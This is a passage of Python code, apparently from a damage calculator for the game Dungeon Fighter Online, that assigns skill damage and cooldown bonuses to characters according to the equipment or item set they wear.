io.append({'\uc2a4\ud0ac':({'job':'\uac70\ub108(\ub0a8)', 'jid':cls.get_jobid('\uac70\ub108(\ub0a8)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uac70\ub108(\ub0a8)', '\uc194\ub77c \ubaa8\ub4c8 \uc2dc\uc2a4\ud15c', skill_db),\n                          'name':'\uc194\ub77c \ubaa8\ub4c8 \uc2dc\uc2a4\ud15c',\n                          'damup':20,\n                        }]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\uac70\ub108(\uc5ec)', 'jid':cls.get_jobid('\uac70\ub108(\uc5ec)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uac70\ub108(\uc5ec)', '\uc194\ub77c \ubaa8\ub4c8 \uc2dc\uc2a4\ud15c', skill_db),\n                          'name':'\uc194\ub77c \ubaa8\ub4c8 \uc2dc\uc2a4\ud15c',\n                          'damup':20,\n                        }]\n                      )})\n        elif (name == '\ubc31\ud638\uc758 \uc6b8\uc74c\uc18c\ub9ac'):\n            io.append({'\uc2a4\ud0ac':({'job':'\uaca9\ud22c\uac00(\ub0a8)', 'jid':cls.get_jobid('\uaca9\ud22c\uac00(\ub0a8)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uaca9\ud22c\uac00(\ub0a8)', '\uc0ac\uc790\ud6c4', skill_db),\n                          'name':'\uc0ac\uc790\ud6c4',\n                          'cooldown':30,\n                          'damup':20,\n                        }]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\uaca9\ud22c\uac00(\uc5ec)', 'jid':cls.get_jobid('\uaca9\ud22c\uac00(\uc5ec)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uaca9\ud22c\uac00(\uc5ec)', '\uc0ac\uc790\ud6c4', skill_db),\n                          'name':'\uc0ac\uc790\ud6c4',\n                          'cooldown':30,\n                          'damup':20,\n                        }]\n                      )})\n        elif (name == '\ubd88\uce74\ub204\uc2a4\uc758 \ub450\ubc88\uc9f8 \ud754\uc801'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', 'jid':cls.get_jobid('\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', skill_db)},\n                        [{'skillId':cls.get_skillid('\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', '\ubb34\uc30d\uaca9', skill_db),\n                          'name':'\ubb34\uc30d\uaca9',\n                          'damup':40,\n                        }]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ud504\ub9ac\uc2a4\ud2b8(\uc5ec)', 'jid':cls.get_jobid('\ud504\ub9ac\uc2a4\ud2b8(\uc5ec)', skill_db)},\n                        [{'skillId':cls.get_skillid('\ud504\ub9ac\uc2a4\ud2b8(\uc5ec)', '\ucc38\uc218', skill_db),\n                          'name':'\ucc38\uc218',\n                          'damup':40,\n                        }]\n                      )})\n        elif (name == '\ube14\ub7ec\ub4dc \uc0f7 \ubd80\uc2a4\ud130'):\n            io.append({'\uc2a4\ud0ac':({'job':'\uac70\ub108(\uc5ec)', 'jid':cls.get_jobid('\uac70\ub108(\uc5ec)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uac70\ub108(\uc5ec)', '\ubca0\uc77c\ub4dc \ucef7', skill_db),\n                          'name':'\ubca0\uc77c\ub4dc \ucef7',\n                          'damup':50,\n                          'extra':'\ucd9c\ud608'\n                        }]\n                      )})\n        elif (name == '\uc0ac\uc554\uc8fc\uadf9'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ucc3d\uc0ac', 'jid':cls.get_jobid('\ub9c8\ucc3d\uc0ac', skill_db)},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'value':2, 'cooldown':20},\n                            {'minLevel':60, 'maxLevel':80, 'value':2, 'cooldown':20},\n                            {'minLevel':90, 'maxLevel':95, 'cooldown':20},\n                            {'skillId':cls.get_skillid('\ub9c8\ucc3d\uc0ac', '\uc784\ud329\ud2b8 \uc2a4\ub9e4\uc26c', skill_db),\n                             'name':'\uc784\ud329\ud2b8 \uc2a4\ub9e4\uc26c',\n                             'cooldown':15,\n                             'extra':'\uc2a4\ud0dd'}\n                        ]\n                      )})\n        elif (name == '\uc0ac\uc77c\ub7f0\ud2b8 \ubca0\ub188'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ucc3d\uc0ac', 'jid':cls.get_jobid('\ub9c8\ucc3d\uc0ac', skill_db)},\n                        [\n                            {'skillId':cls.get_skillid('\ub9c8\ucc3d\uc0ac', '\uba78\uad11\ucc9c\ud22c', skill_db),\n                             'name':'\uba78\uad11\ucc9c\ud22c',\n                             'damup':11.4,\n                             'extra':'\ud3ed\ubc1c'\n                            }\n                        ]\n                      )})\n        elif (name == '\uae30\uac00 \ub4dc\ub9b4\ub7ec'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ucc3d\uc0ac', 'jid':cls.get_jobid('\ub9c8\ucc3d\uc0ac', skill_db)},\n                        [\n                            {'skillId':cls.get_skillid('\ub9c8\ucc3d\uc0ac', '\uc2a4\ud30c\uc774\ub7f4 \ub7ec\uc26c', skill_db),\n                             'name':'\uc2a4\ud30c\uc774\ub7f4 \ub7ec\uc26c',\n                             'damup':31.5,\n                             'extra':'\ub2e4\ub2e8\ud788\ud2b8'\n                            },\n                            {'skillId':cls.get_skillid('\ub9c8\ucc3d\uc0ac', '\ud751\uad11\ud3ed\uc0b4', skill_db),\n                             'name':'\ud751\uad11\ud3ed\uc0b4',\n                             'damup':14.4,\n                             'extra':'\uaff0\ub6ab\ub294'\n                            },\n                            {'skillId':cls.get_skillid('\ub9c8\ucc3d\uc0ac', '\uad11\ud3ed : \ud751\ud654\uc5f0\ucc3d', skill_db),\n                             'name':'\uad11\ud3ed : \ud751\ud654\uc5f0\ucc3d',\n                             'damup':13.5,\n                             'extra':'\uc5b4\ub460\uc758 \ucc3d'\n                            }\n                        ]\n                      )})\n        elif (name == '\ub04a\uc784\uc5c6\ub294 \ud658\uc601'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ucc3d\uc0ac', 'jid':cls.get_jobid('\ub9c8\ucc3d\uc0ac', skill_db)},\n                        [\n                            {'skillId':cls.get_skillid('\ub9c8\ucc3d\uc0ac', '\ubbf8\ub77c\uc9c0 \uc2a4\ud0e0\uc2a4', skill_db),\n                             'name':'\ubbf8\ub77c\uc9c0 \uc2a4\ud0e0\uc2a4',\n                             'cooldown':50,\n                            }\n                        ]\n                      )})\n        elif (name == '\uc138\uacc4\uc218\uc758 \ubfcc\ub9ac'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ubc95\uc0ac(\ub0a8)','jid':cls.get_jobid('\ub9c8\ubc95\uc0ac(\ub0a8)', skill_db)},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':10},\n                        ]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ubc95\uc0ac(\uc5ec)','jid':cls.get_jobid('\ub9c8\ubc95\uc0ac(\uc5ec)', skill_db)},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':10},\n                        ]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ud06c\ub9ac\uc5d0\uc774\ud130','jid':cls.get_jobid('\ud06c\ub9ac\uc5d0\uc774\ud130', skill_db)},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':10},\n                        ]\n                      )})\n            \"\"\"\n        elif (name == '\uc57c\ucc9c\ub3c4'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ucd1d\uac80\uc0ac','jid':cls.get_jobid('\ucd1d\uac80\uc0ac', skill_db)},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':2, 'extra':'\ud788\ud2b8\ub9e8'},\n                            {'minLevel':85, 'maxLevel':85, 'value':2, 'extra':'\ud788\ud2b8\ub9e8'},\n                            {'minLevel':100, 'maxLevel':100, 'value':2, 'extra':'\ud788\ud2b8\ub9e8'},\n                        ]\n                      )})\n            \"\"\"\n        elif (name == '\uc5b4\ub098\uc774\uc5bc\ub808\uc774\ud130'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ubc95\uc0ac(\uc5ec)', 'jid':cls.get_jobid('\ub9c8\ubc95\uc0ac(\uc5ec)', skill_db)},\n                        [\n                            {'skillId':cls.get_skillid('\ub9c8\ubc95\uc0ac(\uc5ec)', '\uc1c4\ud328', skill_db),\n                             'name':'\uc1c4\ud328',\n                             'damup':50,\n                            }\n                        ]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ubc95\uc0ac(\ub0a8)', 'jid':cls.get_jobid('\ub9c8\ubc95\uc0ac(\ub0a8)', skill_db)},\n                        [\n                            {'skillId':cls.get_skillid('\ub9c8\ubc95\uc0ac(\ub0a8)', '\ud33d', skill_db),\n                             'name':'\ud33d',\n                             'damup':50,\n                            }\n                        ]\n                      )})\n        elif (name == '\uc724\ud68c\uc758 \uace0\ub9ac : \ud658\ub8e1'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', 'jid':cls.get_jobid('\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', skill_db)},\n                        [\n\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':10},\n                            {'minLevel':48, 'maxLevel':80, 'value':1},\n                        ]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ud504\ub9ac\uc2a4\ud2b8(\uc5ec)', 'jid':cls.get_jobid('\ud504\ub9ac\uc2a4\ud2b8(\uc5ec)', skill_db)},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':10},\n                            {'minLevel':48, 'maxLevel':80, 'value':1},\n                        ]\n                      )})\n        elif (name == '\uce74\uc2ec\uc758 \ub300\uac80'):\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'cooldown':20},\n                            {'minLevel':60, 'maxLevel':80, 'cooldown':20},\n                            {'minLevel':90, 'maxLevel':95, 'cooldown':20},\n                        ]\n                      )})\n            \"\"\"\n        elif (name == '\ud1b5\uace1\uc758 \uc218\ubb38\uc7a5'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ucc3d\uc0ac','jid':cls.get_jobid('\ub9c8\ucc3d\uc0ac', skill_db)},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':2, 'extra':'\uc6cc\ub85c\ub4dc'},\n                            {'minLevel':85, 'maxLevel':85, 'value':2, 'extra':'\uc6cc\ub85c\ub4dc'},\n                            {'minLevel':100, 'maxLevel':100, 'value':2, 'extra':'\uc6cc\ub85c\ub4dc'},\n                        ]\n                      )})\n        elif (name == '\ub300 \ub9c8\ubc95\uc0ac [???]\uc758 \ub85c\ube0c'):\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':45, 'value':1},\n                        ]\n                      )})\n        elif (name == '\ub9c8\ubc95\uc0ac [???]\uc758 \ub85c\ube0c'):\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':45, 'value':1},\n                        ]\n                      )})\n            \"\"\"\n        elif step == 3 and name == '\uac1c\uc545 : \uc9c0\uc625\uc758 \uae38 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':85, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      )})\n        elif step == 5 and name == '\uc5f4\ub300\uc758 \ud2b8\ub85c\ud53c\uce74 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':15},\n                        ]\n                      )})\n            io.append({'\uacf5\uc18d':5, 'condition':{'type':'\ucc29\uc6a9', 'required':['\ud2b8\ub85c\ud53c\uce74:\ub9ac\uce58']}})\n            io.append({'\uacf5\uc18d':5, 'condition':{'type':'\ucc29\uc6a9', 'required':['\ud2b8\ub85c\ud53c\uce74:\ub4dc\ub808\uc774\ud06c']}})\n\n\n        elif step == 5 and name == '\uc78a\ud600\uc9c4 \ub9c8\ubc95\uc0ac\uc758 \uc720\uc0b0 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':85, 'value':2},\n                            {'minLevel':100, 'maxLevel':100, 'value':2},\n                        ]\n                      )})\n        elif step == 5 and name == 'A.D. P \uc288\ud2b8 \uc138\ud2b8':\n            for opts in io:\n                if '\uc2a4\uacf5' in opts:\n                    #opts['\uc2a4\uacf5'] *= 0.5\n                    pass\n\n                elif '\uacf5\uc18d' in opts:\n                    opts['\uacf5\uc18d'] *= 0.5\n                    opts['\uc774\uc18d'] *= 0.5\n                    opts['\uce90\uc18d'] *= 0.5\n            \"\"\"\n            elif name == '\ub0ad\ub9cc\uc801\uc778 \uc120\uc728\uc758 \uc648\uce20' or name == '\uc6b0\uc544\ud55c \uc120\uc728\uc758 \uc648\uce20':\n                io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                            [\n                                {'minLevel':1, 'maxLevel':45, 'cooldown':10},\n                            ]\n                          )})\n            elif name == '\uaca9\ub82c\ud55c \uc2a4\ud15d\uc758 \uc790\uc774\ube0c':\n                io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                            [\n                                {'minLevel':1, 'maxLevel':30, 'cooldown':15},\n                            ]\n                          )})\n            elif name == '\uc989\ud765\uc801\uc778 \uac10\uac01\uc758 \ud0f1\uace0':\n                io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                            [\n                                {'minLevel':75, 'maxLevel':80, 'cooldown':15},\n                            ]\n                          )})\n            elif name == '\ub9e4\ud639\uc801\uc778 \ub9ac\ub4ec\uc758 \ub8f8\ubc14':\n                io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                            [\n                                {'minLevel':35, 'maxLevel':45, 'cooldown':15},\n                            ]\n                          )})\n            elif name == '\uc815\uc5f4\uc801\uc778 \ud750\ub984\uc758 \uc0bc\ubc14':\n                io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                            [\n                                {'minLevel':60, 'maxLevel':70, 'cooldown':15},\n                            ]\n                          )})\n            \"\"\"\n        elif step == 5 and name == '\ubca0\ud14c\ub791 \uad70\uc778\uc758 \uc815\ubcf5 \uc138\ud2b8':\n            io.pop(1)\n            io[1] = {'\ucd94\ub310': 29}\n        elif step == 3 and name == '\uc804\uc124\uc758 \ub300\uc7a5\uc7a5\uc774 - \uc5ed\uc791 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'cooldown':20},\n                            {'minLevel':60, 'maxLevel':80, 'cooldown':20},\n                        ]\n                      )})\n        elif step == 5 and name == '\uc804\uc124\uc758 \ub300\uc7a5\uc7a5\uc774 - \uc5ed\uc791 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'cooldown':30},\n                            {'minLevel':85, 'maxLevel':85, 'cooldown':30},\n                            {'minLevel':100, 'maxLevel':100, 'cooldown':17},\n                        ]\n                      )})\n        elif step == 3 and name == '\uad6c\uc18d\uc758 \uac00\uc2dc\ub369\uad74 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'cooldown':15},\n                            {'minLevel':60, 'maxLevel':80, 'cooldown':15},\n                            {'minLevel':90, 'maxLevel':95, 'cooldown':15},\n                        ]\n                        )})\n        elif step == 5 and name == '\uad6c\uc18d\uc758 \uac00\uc2dc\ub369\uad74 \uc138\ud2b8':\n            io.append({'\uc774\uc18d':-2})\n \n        elif step == 3 and name == '\uc120\ud0dd\uc758 \uae30\ub85c \uc138\ud2b8':\n            for opts in io:\n                if '\uacf5\uc18d' in opts.keys():\n                    if '\uc99d\uac10' in opts.keys():\n                        opts['\uacf5\uc18d'] = opts['\uc774\uc18d'] = opts['\uce90\uc18d'] = 0\n                    else:\n                        opts['\uacf5\uc18d'] = opts['\uc774\uc18d'] = 14\n                        opts['\uce90\uc18d'] = 21\n\n        elif (name == '\uc9c0\uccb4\uc5c6\ub294 \ud750\ub984\uc758 \ud55c\ub258' or name == '\uc601\uba85\ud55c \uc138\uc0c1\uc758 \uc21c\ud658') and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':45, 'maxLevel':45, 'damdown':30, 'coolrecover':100},\n                        ]\n                        )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ud06c\ub9ac\uc5d0\uc774\ud130', 'jid':cls.get_jobid('\ud06c\ub9ac\uc5d0\uc774\ud130', skill_db)},\n                        [\n                            {'skillId':cls.get_skillid('\ud06c\ub9ac\uc5d0\uc774\ud130', '\uc6dc\ud640', skill_db),\n                             'name':'\uc6dc\ud640',\n                             'coolrecover':100, 'damdown':30\n                            }\n\n                        ]\n                        )})\n        elif name == '\uc9c0\uccb4\uc5c6\ub294 \ud750\ub984\uc758 \ubbf8\ub9ac\ub0b4' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':25, 'maxLevel':25, 'damdown':30, 'coolrecover':100}\n                        ]\n                        )})\n        elif name == '\uc9c0\uccb4\uc5c6\ub294 \ud750\ub984\uc758 \ub9c8\ub8e8' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':35, 'maxLevel':35, 'damdown':30, 'coolrecover':100}\n                        ]\n                        )})\n        elif name == '\uc9c0\uccb4\uc5c6\ub294 \ud750\ub984\uc758 \uac00\ub78c' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':40, 'maxLevel':40, 'damdown':30, 'coolrecover':100}\n                        ]\n                        )})\n        elif name == '\uc9c0\uccb4\uc5c6\ub294 \ud750\ub984\uc758 \ubc14\ub78c' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':30, 'maxLevel':30, 'damdown':30, 'coolrecover':100}\n                        ]\n                        )})\n            \"\"\"\n        elif step == 2 and name == '\uc601\uc6d0\ud55c \ud750\ub984\uc758 \uae38 \uc138\ud2b8':\n             io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':60, 'maxLevel':60, 'damup':20, 'coolup':30}\n                        ]\n                        )})\n        elif step == 3 and name == '\uc601\uc6d0\ud55c \ud750\ub984\uc758 \uae38 \uc138\ud2b8':\n             io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':70, 'maxLevel':70, 'damup':20, 'coolup':30}\n                        ]\n                        )})\n            \"\"\"\n        elif name == '\uc784\uc758 \uc120\ud0dd' and step < 0:\n            for opts in io:\n                for key in opts:\n                    if key in ['\uc99d\ucd94', '\ud06c\uc99d\ucd94', '\ubaa8\uacf5', '\ubb3c\ub9c8\ub3c5\uacf5', '\uc2a4\uacf5']:\n                        opts[key] *= 0.2\n            \n        elif name == '\ud569\ub9ac\uc801 \uc120\ud0dd' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'damup':25},\n                            {'minLevel':85, 'maxLevel':85, 'damup':45},\n                            {'minLevel':100, 'maxLevel':100, 'damup':13},\n                        ]\n                      )})\n\n        elif step == 3 and name == '\uba3c\ub3d9 \ud2c0 \ubb34\ub835 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      )})\n\n        elif step == 3 and name == '\ud589\uc6b4\uc758 \ud2b8\ub77c\uc774\uc575\uae00 \uc138\ud2b8':\n            for opts in io:\n                if '\uc2a4\uacf5' in opts.keys():\n                    if opts['\uc2a4\uacf5'] == 27:\n                        opts['\uc2a4\uacf5'] = 27*0.5 + 31*0.45 + 34*0.05\n                    elif opts['\uc2a4\uacf5'] == 31:\n                        #opts['\uc2a4\uacf5'] = 0\n                        del opts['\uc2a4\uacf5']\n                    else:\n                        #opts['\uc2a4\uacf5'] = 0\n                        del opts['\uc2a4\uacf5']\n        elif step == 2 and name == '\uace0\ub300\uc758 \uc220\uc2dd \uc138\ud2b8':\n            for opts in io:\n                if '\uc774\uc18d' in opts.keys():\n                    opts['\uc774\uc18d'] /= 12\n\n        elif (name == '\uc0c8\ubcbd\uc744 \ub179\uc774\ub294 \ub530\uc2a4\ud568' or name == '\uc0c8\ubcbd\uc744 \uac10\uc2f8\ub294 \ub530\uc2a4\ud568') and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            #{'minLevel':1, 'maxLevel':48, 'value':1},\n                            {'minLevel':15, 'maxLevel':30, 'coolrecover':30},\n                        ]\n                      )})\n        elif name == '\ub2ec\ube5b\uc744 \uac00\ub450\ub294 \uc5ec\uba85' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            #{'minLevel':50, 'maxLevel':70, 'value':1},\n                            {'minLevel':35, 'maxLevel':45, 'coolrecover':30},\n                        ]\n                      )})\n        elif name == '\uace0\uc694\ub97c \uba38\uae08\uc740 \uc774\uc2ac' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            #{'minLevel':75, 'maxLevel':85, 'value':1},\n                            {'minLevel':60, 'maxLevel':80, 'coolrecover':30},\n                        ]\n                      )})\n        elif step == 3 and name == '\uc815\ub839\uc0ac\uc758 \uc7a5\uc2e0\uad6c \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':10},\n                        ]\n                      )})\n        elif step == 3 and name == '\uc601\ubcf4 : \uc138\uc0c1\uc758 \uc9c4\ub9ac \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            #{'minLevel':1, 'maxLevel':85, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      )})\n        elif name == '\uc885\ub9d0\uc758 \uc2dc\uac04' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':100, 'cooldown':12},\n                        ]\n                      )})\n        elif name == '\uc804\uc790\uae30 \uc9c4\uacf5\uad00' and step < 0:\n            for opts in io:\n                if '\ucd94\ub310' in opts.keys():\n                    opts['condition'] = {'type':'\ucc29\uc6a9', 'required':['\uc81c\uc5b4\ud68c\ub85c\ubaa8\ub4c8']}\n                elif '\ubaa8\uc18d\uac15' in opts.keys():\n                    opts['condition'] = {'type':'\ucc29\uc6a9', 'required':['\uc5d0\ub108\uc9c0\ubd84\ubc30\uc81c\uc5b4\uae30']}\n        elif name == '\ud50c\ub77c\uc988\ub9c8 \ucd08 \uc9c4\uacf5\uad00' and step < 0:\n            for opts in io:\n                if '\ucd94\ub310' in opts.keys():\n                    opts['\uc774\uc18d'] = 10\n                    opts['condition'] = {'type':'\ucc29\uc6a9', 'required':['\uc81c\uc5b4\ud68c\ub85c\ubaa8\ub4c8']}\n                    opts['\ubaa8\uc18d\uc800'] = 20\n                elif '\ubaa8\uc18d\uac15' in opts.keys():\n                    opts['condition'] = {'type':'\ucc29\uc6a9', 'required':['\uc5d0\ub108\uc9c0\ubd84\ubc30\uc81c\uc5b4\uae30']}\n\n        elif step == 2 and name == '\uc2ec\uc5f0\uc744 \uc5ff\ubcf4\ub294 \uc790 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'value':1},\n                        ]\n                      ),\n                      'condition':{'type':'\uc554\uc18d\uc800','per-val':28, 'max':2}\n                      })\n        elif step == 3 and name == '\uc2ec\uc5f0\uc744 \uc5ff\ubcf4\ub294 \uc790 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':60, 'maxLevel':80, 'value':1},\n                        ]\n                      ),\n                      'condition':{'type':'\uc554\uc18d\uc800','per-val':30, 'max':2}\n                      })\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':1},\n                            {'minLevel':85, 'maxLevel':85, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      ),\n                      'condition':{'type':'\uc554\uc18d\uc800','per-val':61, 'max':None}\n                      })\n        elif name == '\uae38 \uc548\ub0b4\uc790\uc758 \uacc4\uc808' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'cooldown':10},\n                            {'minLevel':60, 'maxLevel':80, 'cooldown':10},\n                            {'minLevel':90, 'maxLevel':95, 'cooldown':10},\n                        ]\n                      ),\n                      '\uc774\uc18d':10,\n                      })\n        elif step == 3 and name == '\ud669\ud63c\uc758 \uc5ec\ud589\uc790 \uc138\ud2b8':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':48, 'cooldown':10},\n                            {'minLevel':60, 'maxLevel':80, 'cooldown':10},\n                            {'minLevel':90, 'maxLevel':95, 'cooldown':10},\n                        ]\n                      )})\n        elif name == '\uc2dc\uac04\uc5d0 \ud729\uc4f8\ub9b0 \ubb3c\uc18c \uac01\ubc18' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':60, 'maxLevel':80, 'cooldown':10},\n                        ]\n                      )})\n        elif name == '\uc2dc\uac04\uc744 \uac70\uc2a4\ub974\ub294 \uc790\uce68' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'cooldown':15},\n                            {'minLevel':85, 'maxLevel':85, 'cooldown':15},\n                        ]\n                      )})\n        elif name == '\uc2dc\uac04\uc744 \uac00\ub9ac\ud0a4\ub294 \uc9c0\uce68' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'cooldown':10},\n                            {'minLevel':85, 'maxLevel':85, 'cooldown':10},\n                        ]\n                      )})\n\n        elif name == '\uc2dc\uac04\uc5d0 \uac07\ud600\ubc84\ub9b0 \ubaa8\ub798' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':45, 'cooldown':10},\n                        ]\n                      )})\n\n        elif name == '\ub098\ub77d\uc73c\ub85c \ube60\uc9c4 \ubc1c' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':90, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      ),\n                      'condition':{'type':'\uc554\uc18d\uc800','per-val':16, 'max':None}\n                      })\n        elif name == '\ucc28\uc6d0\uc744 \uac77\ub294 \ubb3c\uc18c \ubd80\uce20' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':45, 'value':1},\n                        ]\n                      )})\n        elif name == '\ucc28\uc6d0\uc744 \uc9c0\ub098\ub294 \uc790\uc758 \uc778\uc7a5' and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':60, 'maxLevel':80, 'value':1},\n                        ]\n                      )})\n        elif (name == '\ucc28\uc6d0\uc744 \uad00\ud1b5\ud558\ub294 \ucd08\uc2e0\uc131' or name == '\ucc28\uc6d0\uc744 \ub9f4\ub3c4\ub294 \ud61c\uc131') and step < 0:\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':1},\n                            {'minLevel':85, 'maxLevel':85, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      )})\n        elif (name == '\ubb34\ub108\uc9c4 \uc138\uc0c1\uc758 \uc2ac\ud514' or name == '\uad11\ub780\uc744 \ud488\uc740 \uc790\uc758 \uc885\ub9c9' or name == 